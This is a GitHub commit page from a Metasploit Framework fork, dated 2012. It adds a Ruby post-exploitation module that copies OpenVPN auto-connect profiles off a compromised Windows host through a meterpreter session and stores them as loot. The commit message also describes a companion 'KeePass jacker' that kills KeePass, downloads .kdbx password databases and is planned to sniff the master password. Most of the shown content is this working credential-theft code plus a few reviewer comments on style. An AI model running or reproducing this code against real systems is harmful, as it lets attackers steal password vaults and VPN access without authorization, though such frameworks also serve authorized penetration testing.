forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
-Keepass jacker will kill keepass process and then look for kdbx files on users document and desktop and download them. (next step for this module will be to lock keepass, activate keyboard sniffing as to try to steal master password) also need to make it compatible with OLD keepass files aka .kdb -OpenVPN profiles jack - will go to the default folder that contains the profiles used for auto connect on OpenVPN GUI client and download them these can allow an attacker to automatically connect to the vpn!
- Loading branch information
Tiago Henriques
committed
Jul 26, 2012
1 parent
ae29790
commit 91367ec
Showing
2 changed files
with
125 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
# $Id: keepass_jacker.rb 2012-05-01 rapid7 $ | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'rex' | ||
require 'msf/core/post/windows/user_profiles' | ||
|
||
class Metasploit3 < Msf::Post | ||
include Msf::Auxiliary::Report | ||
include Msf::Post::Windows::UserProfiles | ||
|
||
def initialize(info={}) | ||
super( update_info( info, | ||
'Name' => 'OpenVPN Profile Downloader', | ||
'Description' => %q{ | ||
This module downloads OpenVPN Profiles that can be imported into the OpenVPN client to automatically connect to a VPN. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ 'balgan <balgan[at]ptcoresec.eu>'], | ||
'Version' => '$Revision: 3195e713 $', | ||
This comment has been minimized.
Sorry, something went wrong. |
||
'Platform' => [ 'windows' ], | ||
'SessionTypes' => [ 'meterpreter' ] | ||
)) | ||
end | ||
|
||
def run | ||
arch = client.sys.config.sysinfo["Architecture"] | ||
print_status("Checking if folder exists...") | ||
if arch == "x86" | ||
dir = "C:\\Program Files\\OpenVPN Technologies\\OpenVPN Client\\etc\\profile\\" | ||
This comment has been minimized.
Sorry, something went wrong.
wchen-r7
|
||
begin | ||
session.fs.dir.entries(dir) | ||
jack_openvpnprofiles(dir) | ||
rescue | ||
print_error("Path seems invalid: #{dir}") | ||
return nil | ||
end | ||
else | ||
dir = "C:\\Program Files (x86)\\OpenVPN Technologies\\OpenVPN Client\\etc\\profile\\" | ||
This comment has been minimized.
Sorry, something went wrong. |
||
begin | ||
session.fs.dir.entries(dir) | ||
jack_openvpnprofiles(dir) | ||
rescue | ||
print_error("Path seems invalid: #{dir}") | ||
return nil | ||
end | ||
|
||
end | ||
end | ||
|
||
def jack_openvpnprofiles(folder) | ||
print_status("OpenVPN Profiles Folder Found at: #{folder}") | ||
print_status("Retrieving Profile Files...") | ||
files = [""] | ||
files = client.fs.dir.entries(folder) | ||
print_status("#{files}") | ||
files.each do |f| | ||
begin | ||
path = folder + f | ||
print_status("CURRENT PATH #{path}") | ||
data = "" | ||
next if f =~/^(\.+)$/ | ||
begin | ||
filesaving = session.fs.file.new(path, "rb") | ||
until filesaving.eof? | ||
data << filesaving.read | ||
end | ||
store_loot("#{f}", "text/plain", session, data, f, "loot #{path}") | ||
This comment has been minimized.
Sorry, something went wrong. |
||
rescue ::Interrupt | ||
raise $! | ||
rescue ::Exception => e | ||
print_error("Failed to download #{path}: #{e.class} #{e}") | ||
end | ||
end | ||
end | ||
end | ||
|
||
end |
Example of begin... end usage that doesn't make sense to me. It doesn't look very necessary to me. Maybe I'm missing something, but I'm not sure why you're doing this.